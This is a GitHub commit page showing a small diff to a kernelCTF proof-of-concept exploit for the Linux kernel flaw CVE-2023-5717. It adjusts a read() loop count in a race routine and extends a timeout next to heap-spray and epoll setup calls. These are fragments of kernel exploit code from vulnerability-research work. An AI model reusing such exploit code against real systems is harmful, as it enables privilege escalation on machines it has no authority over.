Skip to content

Commit 475154f

Browse files
committed
Revert read() loops
1 parent e609b89 commit 475154f

File tree

2 files changed

+2
-2
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+2
-2
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+2-2
Original file line numberDiff line numberDiff line change
@@ -329,7 +329,7 @@ void race(int group_leader) { // caller must have ownership of the group
329329
write(pipefd[1], buffer, 1); // sync point A
330330
remove_xattr("security.x12296_10", 1);
331331
// x10 reclaimed by CPU_B is now released on CPU_A
332-
for (int _=0; _<1; _++) {
332+
for (int _=0; _<32; _++) {
333333
read(group_leader, buf, sizeof(buf));
334334
}
335335
sched_yield();
@@ -709,7 +709,7 @@ int main(void) {
709709
race_oracle();
710710
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
711711
do_epoll_enqueue(tfd);
712-
alarm(60*20);
712+
alarm(60*30);
713713
spray_xattr_page(0x3000, 2048, 0);
714714

715715
exploit();

0 commit comments

Comments
 (0)